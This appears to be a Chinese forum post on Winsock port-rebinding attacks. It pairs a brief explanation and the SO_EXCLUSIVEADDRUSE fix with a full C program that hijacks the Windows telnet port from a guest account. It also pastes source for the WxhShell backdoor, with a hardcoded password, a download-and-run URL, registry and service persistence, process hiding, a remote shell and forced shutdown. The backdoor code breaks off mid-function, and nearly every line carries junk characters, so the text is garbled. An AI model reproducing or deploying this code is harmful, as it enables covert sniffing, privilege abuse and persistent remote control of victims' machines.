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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tyXuG<  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Rz bj  
b J=Jg~&  
  saddr.sin_family = AF_INET; P7nc7a  
8+a4>8[M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \K@'Z  
<j*;.yyC  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v(B<Nb  
/^X/8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zVXC1u9B  
%W%9j#!aN  
  这意味着什么?意味着可以进行如下的攻击: hU`wVy  
{QcLu"?c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D7lK30  
+Z7th7W/,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e,F1Xi #d  
K/tRe/t }  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UR7g`/  
*5vV6][  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ROg(U8 N  
rR9|6l 3  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C8[&S&<_<  
Izhee%c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :=/85\P0SU  
YP.5fq:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @hJ%@(  
WF1px%  
  #include 7ePqmB<.  
  #include U*( izD  
  #include :`-,Lbg  
  #include    CN#+U,NZV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NLUT#!Gr  
  int main() 9:ze{ c $  
  { ofPHmh`  
  WORD wVersionRequested; jT8#C=a7  
  DWORD ret; lJu;O/  
  WSADATA wsaData; "} q@Y=  
  BOOL val; $nb[G$  
  SOCKADDR_IN saddr; ?&|5=>u2}$  
  SOCKADDR_IN scaddr; cxA^:3  
  int err; ::ajlRZG  
  SOCKET s; :p]'32FA!  
  SOCKET sc; rM .|1(u  
  int caddsize; :YXX8|>  
  HANDLE mt; _CW(PsfY  
  DWORD tid;   v%"|WV[N  
  wVersionRequested = MAKEWORD( 2, 2 ); eZ|%<Wpu  
  err = WSAStartup( wVersionRequested, &wsaData ); 1QLbf*zeIW  
  if ( err != 0 ) { NWM8[dI  
  printf("error!WSAStartup failed!\n"); jDy-)2<  
  return -1; MYla OT  
  } S/D^  
  saddr.sin_family = AF_INET; SS$[VV  
   ]|MEx{BG-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /LO -HnJ  
f !s=(H;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Qp/QaVQ+  
  saddr.sin_port = htons(23); ~~v3p>zRr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R{ a"Y$  
  { vg3=8>#  
  printf("error!socket failed!\n"); 'yL%3h _@  
  return -1; /lo2y?CS*  
  } ^:#D0[  
  val = TRUE; GM3f- \/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #=6E\&NC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) .v$D13L(o  
  { VH+%a<v"  
  printf("error!setsockopt failed!\n"); vU767/  
  return -1; )xbHCoU,  
  } @^T1XX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; l y(>8F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w+yC)Rmz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Wzw7tLY._  
dR"@`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kg'o&^/=  
  { Fxm$9(Y  
  ret=GetLastError(); t0IEaj75c  
  printf("error!bind failed!\n"); %d?cP}V  
  return -1; <$X3Hye  
  } ](&{:>RNJ  
  listen(s,2); vJ'2@f$  
  while(1) ~g5[$r-u-u  
  { ^R# E:3e  
  caddsize = sizeof(scaddr); B]uc<`f  
  //接受连接请求 K#pNe c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Cn "s` q  
  if(sc!=INVALID_SOCKET) \'|> p/5I  
  { C!fMW+C@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;*:Pw?'  
  if(mt==NULL) X&7 F_#s  
  { K%^V?NP*{Z  
  printf("Thread Creat Failed!\n"); dvt9u9Vg=  
  break; =5kY6%E7c  
  } 8C67{^`::  
  } _Em.  
  CloseHandle(mt); fSs4ZXC  
  } J/[=p<I)  
  closesocket(s); ~v6OsH%vx  
  WSACleanup(); i*#-I3  
  return 0; uf&myV7  
  }   +f@U6Vv  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0V'nK V"|  
  { $`)/0{qY-  
  SOCKET ss = (SOCKET)lpParam; NhaI<J  
  SOCKET sc; ">y%iE  
  unsigned char buf[4096]; ^yyC [Mz  
  SOCKADDR_IN saddr; .y@oz7T5  
  long num;  DX"xy  
  DWORD val; >g+?Oebgw  
  DWORD ret; UrYZ` J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @U3Vc|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N6 (  
  saddr.sin_family = AF_INET; %l,,_:7{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]3KhgK%c8  
  saddr.sin_port = htons(23); Ah k8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c6X}2a'  
  { 763v  
  printf("error!socket failed!\n"); 1oN^HG6O  
  return -1; 9Hc$G{[a  
  } y5do1Z  
  val = 100; =gJb^ Gx(w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) SRrw0&ts  
  { bpKZ3}U  
  ret = GetLastError(); ?i06f,-  
  return -1; (fCXxyZrr  
  } $CY't'6Hn  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) dv.(7Y7.x  
  { nIU6h  
  ret = GetLastError(); 59O?_F9  
  return -1; ZE2$I^DY-  
  } q.2ykL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qL6 |6-?  
  { oE(7v7iY  
  printf("error!socket connect failed!\n"); IGtl\b=  
  closesocket(sc); Mi/&f   
  closesocket(ss); UmQ?rS8d  
  return -1; yp66{o  
  } 7D!u1?]d{  
  while(1) )w0AC"2O~  
  { +=.W<b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [BT/~6ovrZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |m80]@>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 H Ge0hl[n  
  num = recv(ss,buf,4096,0); zJ)*Z,7  
  if(num>0) Up,vD)tG  
  send(sc,buf,num,0); \'CDRr"uw  
  else if(num==0) %YSu8G_t  
  break; XwlbJ=mf  
  num = recv(sc,buf,4096,0); uU:CR>=AKW  
  if(num>0) ,;(PwJe  
  send(ss,buf,num,0); &9"-`-[e:  
  else if(num==0) "Q?k'^@  
  break; 8`fjF/  
  } {WPobP"  
  closesocket(ss); e{v=MxO=S  
  closesocket(sc); k31I ysh  
  return 0 ; mGGsB5#w>  
  } iTV) NsC}  
d\ ~QBr?  
:P@rkT3Qt  
========================================================== ltD37QZQ  
<F.Tx$s  
下边附上一个代码,,WXhSHELL NN1$'"@NL  
K"[AxB'F  
========================================================== Pw;!uag  
e&qh9mlE  
#include "stdafx.h" H03jDM8Q  
yNqe8C,>e  
#include <stdio.h> 'qF#<1&  
#include <string.h> bLd#xXl  
#include <windows.h> y:h}z).  
#include <winsock2.h> mK [0L  
#include <winsvc.h> "eWYv3z~-  
#include <urlmon.h> K.z64/H:  
OKvPL=~  
#pragma comment (lib, "Ws2_32.lib") wlEo"BA  
#pragma comment (lib, "urlmon.lib") P b]3&!a  
y T#{UA^  
#define MAX_USER   100 // 最大客户端连接数 *mMEl]+  
#define BUF_SOCK   200 // sock buffer Gsc\/4Wx  
#define KEY_BUFF   255 // 输入 buffer acw4B5]  
\C`~S7jC  
#define REBOOT     0   // 重启 yG sz2T;w  
#define SHUTDOWN   1   // 关机 Y"6w,_'m  
6"D/xV3Z  
#define DEF_PORT   5000 // 监听端口 H=\!2XS  
S>0nx ^P  
#define REG_LEN     16   // 注册表键长度 His*t1o8'O  
#define SVC_LEN     80   // NT服务名长度 T1r3=Y4  
XbZ*&  
// 从dll定义API -Z?Vd!H:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (}5S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /De^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |K^"3`SJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mnID3=JF  
*\o/q[  
// wxhshell配置信息 KPpHwcYxT  
struct WSCFG { C(id=F  
  int ws_port;         // 监听端口 .<K iMh  
  char ws_passstr[REG_LEN]; // 口令 B=@ jWz"  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9P<[7u  
  char ws_regname[REG_LEN]; // 注册表键名 7rC uu*M  
  char ws_svcname[REG_LEN]; // 服务名 gn{=%`[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I Nc^L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wCHR7X0*b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eJo3 MK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @Fpb-Qd"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" B<~U3b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KnNh9^4"\2  
Z^9/v  
}; Dr9 ?2  
}BmS )J q  
// default Wxhshell configuration `:eViVl6e  
struct WSCFG wscfg={DEF_PORT, WpLZQ6wH  
    "xuhuanlingzhe", 2nFy`|aA%  
    1, +]@Az.E  
    "Wxhshell", (LtkA|:  
    "Wxhshell", zLD|/`  
            "WxhShell Service", \Yoa:|%*y  
    "Wrsky Windows CmdShell Service", '&;69`FSe  
    "Please Input Your Password: ", "|m|E/Z-9  
  1, (#oycj^<  
  "http://www.wrsky.com/wxhshell.exe", SjEdyN#  
  "Wxhshell.exe" h)v^q: ='  
    }; jb /8?7  
0~& "  
// 消息定义模块  j4R 4H;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =_[Z W  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w18RA#Zo/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c[ht`!P  
char *msg_ws_ext="\n\rExit."; = zl= SLe  
char *msg_ws_end="\n\rQuit."; 7rHS^8'H&  
char *msg_ws_boot="\n\rReboot..."; p[2GkP  
char *msg_ws_poff="\n\rShutdown..."; @:x"]!1  
char *msg_ws_down="\n\rSave to "; B/"2.,  
PVa o  
char *msg_ws_err="\n\rErr!"; Be}$I_95\P  
char *msg_ws_ok="\n\rOK!"; y>\S@I  
{?{U,&  
char ExeFile[MAX_PATH]; +^6}   
int nUser = 0; eu'1H@vX(  
HANDLE handles[MAX_USER]; :Au /2  
int OsIsNt; &D#+6M&LK{  
H0*5_OJ!i  
SERVICE_STATUS       serviceStatus; o7+>G~i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; FXo2Y]K3`L  
J`#` fX  
// 函数声明 s T3p>8n  
int Install(void); NfE.N&vI_c  
int Uninstall(void); [$ :  
int DownloadFile(char *sURL, SOCKET wsh); B(l-}|m_  
int Boot(int flag); YYRT.U'  
void HideProc(void); ["3df>!f  
int GetOsVer(void); &k T"oK  
int Wxhshell(SOCKET wsl); P ,K\  
void TalkWithClient(void *cs); S:Tm23pe  
int CmdShell(SOCKET sock); LEh)g[  
int StartFromService(void); -cNx1et  
int StartWxhshell(LPSTR lpCmdLine); AV@\ +0  
!;>(i e\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &WZP2Q|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Vos?PqUi 4  
JatHSW7j9  
// 数据结构和表定义 =:h3w#_c  
SERVICE_TABLE_ENTRY DispatchTable[] = :G'xi2bs  
{ Xy#V Q{!  
{wscfg.ws_svcname, NTServiceMain}, [V@yRWI  
{NULL, NULL} LD+f'^>>Z  
}; za,2r^  
pH9HK  
// 自我安装 ~4 FDKU C  
int Install(void) s?O&ZB2GM[  
{ Z|^MGyn  
  char svExeFile[MAX_PATH]; I{dl%z73  
  HKEY key; |*Ot/TvG  
  strcpy(svExeFile,ExeFile); 9y"TDo  
7;HUE!5,^l  
// 如果是win9x系统,修改注册表设为自启动 p[YWSjf  
if(!OsIsNt) { I$N7pobh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a'[)9:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k)E;(  
  RegCloseKey(key); r#xk`a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xQz#i-v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); - s|t^  
  RegCloseKey(key); 9YSVK\2$  
  return 0; >rwYDT#m]  
    } #J+\DhDEPO  
  } jA2ofC  
} ?;8M^a/  
else { u g6r]0]  
i=Kvz4h  
// 如果是NT以上系统,安装为系统服务 a!.!2a&t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y}/jR6hK  
if (schSCManager!=0) 5X;?I/9  
{ C MqM;1  
  SC_HANDLE schService = CreateService silp<13HN  
  ( 3@X|Gs'_S  
  schSCManager, -I vL+}K  
  wscfg.ws_svcname, -HTL5  
  wscfg.ws_svcdisp, b@-)Fy4d2  
  SERVICE_ALL_ACCESS, ,iOZ |  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bD@@tGr;W  
  SERVICE_AUTO_START, !?r/ 4  
  SERVICE_ERROR_NORMAL, 7Jc<.Z"/Gd  
  svExeFile, )tPl<lb  
  NULL, ,%='>A  
  NULL, %EB;1  
  NULL, NlFo$Y  
  NULL, QAXYrRu  
  NULL ]1Qi=2'  
  ); 2^bgC~2C1  
  if (schService!=0) 9R:(^8P8  
  { t!savp  
  CloseServiceHandle(schService); fSC.+,qk  
  CloseServiceHandle(schSCManager); ULbP_y>(Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S W-0h4  
  strcat(svExeFile,wscfg.ws_svcname); &`sR){R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #[(0tc/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &u4Ve8#  
  RegCloseKey(key); M[vCpa  
  return 0; 9>zDJx  
    } c8tP+O9  
  } a5I%RY  
  CloseServiceHandle(schSCManager); dff#{  
} 0, "ZV}  
} Q^kMCrp  
C0f[eA  
return 1; SOYDp;j  
} YL!oF^XO  
6%z`)d  
// 自我卸载 '&{(:,!B  
int Uninstall(void) uyvskz\  
{ ;q^,[(8  
  HKEY key; {8W |W2o$!  
] : Wb1  
if(!OsIsNt) { o+R. u}|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G)K9la<p  
  RegDeleteValue(key,wscfg.ws_regname); vkh;qPD  
  RegCloseKey(key); fVv$K&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r}Q@VS% %  
  RegDeleteValue(key,wscfg.ws_regname); 8*"rZh}'  
  RegCloseKey(key); 2voNgY  
  return 0; w`"W3(  
  } vatx+)  
} yW'BrTw  
} jeyaT^F(   
else { ^S3A10f,  
l'P[5'.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g9! d pP  
if (schSCManager!=0) pq@$&G  
{ baA HP "  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ab/v_ mA;  
  if (schService!=0) ?T~3B]R  
  { a'c9XG}  
  if(DeleteService(schService)!=0) {  #=>kw^5  
  CloseServiceHandle(schService); &Qz"nCvJ  
  CloseServiceHandle(schSCManager); T9,lblU Q  
  return 0; (}~ 1{C@  
  } E]D4']  
  CloseServiceHandle(schService); CAcOWwDm  
  } g=)U_DPRi  
  CloseServiceHandle(schSCManager); xy2eJJq  
} u~j'NOv  
} >0[qi1  
mvxc[  
return 1; `V$cz88b  
} ?d,acm  
m^(E:6T  
// 从指定url下载文件 bt. K<Y0  
int DownloadFile(char *sURL, SOCKET wsh) +/1P^U /  
{ % DHP  
  HRESULT hr; GN8`xR{J*  
char seps[]= "/"; .T[!!z#^  
char *token; E}E7VQjM  
char *file; -#:Y+"'  
char myURL[MAX_PATH]; c'm-XL_La  
char myFILE[MAX_PATH]; BUboP?#%)  
L.R\]+$U2  
strcpy(myURL,sURL); 4 g/<).1<b  
  token=strtok(myURL,seps); $/-wgyP3m+  
  while(token!=NULL) %u<&^8EL+#  
  { 4B%5-VQ  
    file=token; =[43y%   
  token=strtok(NULL,seps); ?Ix'2v  
  } -+Awm{X_@  
J/H#d')c  
GetCurrentDirectory(MAX_PATH,myFILE); _dB0rsCnU%  
strcat(myFILE, "\\"); UeC%Wa<[  
strcat(myFILE, file); B_6v'=7]  
  send(wsh,myFILE,strlen(myFILE),0); $e^ :d  
send(wsh,"...",3,0); *]DJAF]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  G$cq   
  if(hr==S_OK) )x5$io   
return 0; Vtc)/OH  
else e`gGzyM  
return 1; @[Jt~v  
K.sj"#D  
}  Cq~ah  
+A&IxsTq5=  
// 系统电源模块 71.:p,Z@z  
int Boot(int flag) IU;pkgBj0Y  
{ _|Kv~\G!  
  HANDLE hToken; PxCl]~v  
  TOKEN_PRIVILEGES tkp; %V" +}Dr  
=G3J.S*Riy  
  if(OsIsNt) { Duo#WtC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8-l)TTP&.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D;#Yn M3  
    tkp.PrivilegeCount = 1; |SXMu_w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \]d*h]Hms  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lCs8`bYU  
if(flag==REBOOT) { S0o,)`ZB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H:nu>pz t  
  return 0; wx?{|  
} L)//- k9  
else { xuH<=-O>ki  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yK2*~T,6@  
  return 0; dXcMysRc%&  
} O|g!Y(  
  } U"R.!=v  
  else { PXQ9P<m  
if(flag==REBOOT) { R?e7#HsJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <t|9`l_XW  
  return 0; m^s2kB4A[  
} b-=[(]_$h  
else { 5Vm}<8{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XU })3]/  
  return 0; Q24:G  
} D+U/]sW  
} rp[oH=&  
p<nBS" /  
return 1; TD=/C|  
} 4R^j"x 5  
%a6]gsiv2<  
// win9x进程隐藏模块 Vv"wf;#  
void HideProc(void) u0H`%m  
{ wyhf:!-I  
 DlkKQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); WBIB'2:m  
  if ( hKernel != NULL ) *UxB`iA  
  { _G*x:<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KI QBY!N+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :/[ZgreN6  
    FreeLibrary(hKernel); GSb)|mj  
  } FG36,6N%2j  
(tz]!Aa{s  
return; I; }%k;v6  
} X@4d~6k?  
fQA)r  
// 获取操作系统版本 Wn#JY p  
int GetOsVer(void) t-'GRme  
{ 12DdUPOi  
  OSVERSIONINFO winfo; MAo,PiYb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (_5+`YsV  
  GetVersionEx(&winfo); =F-^RnO%\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %((3'le  
  return 1; P87Fg  
  else m95$V&  
  return 0; ")gCA:1-  
} R[-:-8  
_qo1 GM&  
// 客户端句柄模块 Y9ce"*b  
int Wxhshell(SOCKET wsl) ojqX#>0K  
{ )Bvu[r Uy  
  SOCKET wsh; ur[bh  
  struct sockaddr_in client; BD+~8v  
  DWORD myID; > V}NG  
;mxT >|z  
  while(nUser<MAX_USER) d>-EtWd  
{ W >IKy#  
  int nSize=sizeof(client); XdVC>6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M8Lj*JN  
  if(wsh==INVALID_SOCKET) return 1; Wfw9cxGkf  
Mxp4YQl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oh~Dbu=%  
if(handles[nUser]==0) U}Fk%Jj  
  closesocket(wsh); P#1y  
else !_#js  
  nUser++; b4PK  
  } qz2d'OhmtH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }`]^LFU5  
.lS6KBf@  
  return 0; ]qRz!D%@^  
} >R-$JrU.=  
;<rJ,X#  
// 关闭 socket []^>QsS(X  
void CloseIt(SOCKET wsh) `Yve  
{ %.Y`X(g6/  
closesocket(wsh); [0@i,7{ZqE  
nUser--; qeGOSGc_  
ExitThread(0); q=(wK&  
} *E6 p=  
akwVU\RP  
// 客户端请求句柄 AkC\CdmA  
void TalkWithClient(void *cs) o LRio.u*  
{ Hc!_o`[{l  
.YbD.{]D  
  SOCKET wsh=(SOCKET)cs; >cLZP#^\2E  
  char pwd[SVC_LEN]; CeemR>\t  
  char cmd[KEY_BUFF]; c5u?\  
char chr[1]; n$iz   
int i,j; tzPe*|m<  
SOJHw6  
  while (nUser < MAX_USER) { Ado>)c"*y1  
9m>_q Wa A  
if(wscfg.ws_passstr) { c-{]H8$v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <jjaqDSmz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5O*$#C;c  
  //ZeroMemory(pwd,KEY_BUFF); |ESe=G  
      i=0; aqgSr|  
  while(i<SVC_LEN) { \WEC1+@  
>d |W>|8e  
  // 设置超时 eP8wTStC  
  fd_set FdRead; lC{m;V2  
  struct timeval TimeOut; 6iOAYA=  
  FD_ZERO(&FdRead); Q}]u n]]Zt  
  FD_SET(wsh,&FdRead); r\?*?sL  
  TimeOut.tv_sec=8; iFnM6O$(  
  TimeOut.tv_usec=0; (;0]V+-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 420K fVA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +{&g|V  
/V~(!S>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [ q}WS5Cp  
  pwd=chr[0]; H.e@w3+h  
  if(chr[0]==0xd || chr[0]==0xa) { [iz  
  pwd=0; 7Uh}|6PU  
  break; Fwtwf{9I  
  } Q{l;8MCL  
  i++; a&JAF?k  
    } n=~?BxB  
n!2|;|$}Z  
  // 如果是非法用户,关闭 socket v%r!}s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SJfsFi?n  
} HD|5:fAqA  
lsd\ `X5,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7G(X:!   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UqH7ec  
 dbR4%;<  
while(1) { M&L"yQA  
x!J L9  
  ZeroMemory(cmd,KEY_BUFF); tSjK=1"}  
CwAl-o  
      // 自动支持客户端 telnet标准   ZD*>i=S  
  j=0; a2zo_h2R  
  while(j<KEY_BUFF) { W'[!4RQL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7RO=X%0A  
  cmd[j]=chr[0]; #RcmO **  
  if(chr[0]==0xa || chr[0]==0xd) { DwI)?a_+  
  cmd[j]=0; ~0`Pe{^*  
  break; ][.1b@)qV  
  } h<uQ~CQg  
  j++;  mJ-@:5  
    } X6PfOep  
Mc.KLz&,FC  
  // 下载文件 SL(Q;_  
  if(strstr(cmd,"http://")) { N24+P5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); f!87JE=<  
  if(DownloadFile(cmd,wsh)) 8<P.>u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "l!"gc87  
  else ~{HA!C#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wM><DrQ  
  } CN zK-,  
  else { q,2 @X~T  
t.m $|M>  
    switch(cmd[0]) { 8ciLzyrY*  
  #df Aqg'  
  // 帮助 a].Bn#AH!C  
  case '?': { ^s%Qt  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s4w<X}O_  
    break; OuX/BMG  
  } X,~8 ) W  
  // 安装 ! $n^Ze2 !  
  case 'i': { y`'Ly@s  
    if(Install()) f}*Xz.[bCp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }D0j%~&"e  
    else ]RxNSr0e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (|Xf=q,Le  
    break; rq$%  
    } {`-EX  
  // 卸载 b\}`L"  
  case 'r': { ])e6\)  
    if(Uninstall()) }V`Fz',lZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9) wjVk  
    else eK]GyY/Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yp8 .\.  
    break; tEb2>+R  
    } vG<Mz?wr  
  // 显示 wxhshell 所在路径 !zD| @sX{  
  case 'p': { NAL%qQ  
    char svExeFile[MAX_PATH]; P||u{]vU  
    strcpy(svExeFile,"\n\r"); Yh"R#  
      strcat(svExeFile,ExeFile); H.'_NCF&;L  
        send(wsh,svExeFile,strlen(svExeFile),0); F/mD05{  
    break; gJ2R(YMF  
    } \,~gA   
  // 重启 H3MT.Cpd  
  case 'b': { KPKby?qQ^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6? 2/b`k  
    if(Boot(REBOOT)) G>cTqD6gT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;u , 5 2  
    else { 8iq~ha$]|  
    closesocket(wsh); g=a-zg9LX  
    ExitThread(0); Z3 &8(vw  
    } =w,%W^"E  
    break; Bojm lVg  
    } ,v(G2`Z  
  // 关机 df}B:?Ew.  
  case 'd': { k5W5 9tz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g`\Vy4w  
    if(Boot(SHUTDOWN)) .] 5&\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rY88xh^  
    else { OpYq qBf_  
